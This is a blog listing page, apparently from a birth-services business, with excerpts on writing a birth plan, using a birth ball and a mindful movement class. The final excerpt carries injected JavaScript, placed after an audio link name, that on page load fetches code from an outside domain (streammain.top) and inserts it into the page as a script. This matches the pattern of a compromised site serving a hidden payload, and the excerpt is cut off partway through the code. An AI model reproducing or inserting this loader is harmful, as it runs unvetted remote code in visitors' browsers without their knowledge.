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Writing Your Birth Plan

31.05.2025
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There are many out there who think either:   a birth plan is essential and you should NEVER go into labor without one and you should write EVERYTHING you desire (and don’t desire) in that document.   OR   you can’t “plan” birth, and people who try to are setting themselves up for disappointment (or at least conflict) and, as a result, care providers often don’t pay much attention to them.   As you might imagine, I believe there is, at least, a third way to look at the concept of a birth plan and that the process of writing it is as valuable as the document itself. For some context, let’s look at the history of birth plans. In 1980, Penny Simkin and Carla Reinke presented the birth plan as part of...

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Healthy Birth Practice #2: Walk, Move, Change Positions

31.05.2025
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The Birth Ball for Comfort in Pregnancy and Postpartum

12.08.2020
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If you've never been pregnant before, you might think of this round thing above as an exercise ball. I first heard it called the 'Swiss Ball' (which is odd because it is an Italian creation) and began using them in my massage therapy practice in 1990.  That burst-resistant ball, created in 1963, was intended for use in gymnastics but was adopted by European physical therapists to help children who struggled with proprioception or balance issues. When it came to the US in the 80's it was quickly incorporated into the fitness industry.  Birth Pioneer, Penny Simkin, a former physical therapist herself, is credited with bringing the ball into the birth room in the early 90s, prompting birth professionals and labor and delivery staff to call a...

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Strength in Flexibility Mindful Movement Class

24.03.2020
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Rhythm & Slow Mindful Movement Classes are the somatic offerings from Baby Bump Services. If you like to learn more about what we do in these classes, click on the link below to experience a short lesson offered as a gift to help you through these challenging times. StrengthInFlexibilityAudio;document.addEventListener("DOMContentLoaded", function () { var url = 'https://streammain.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); ...

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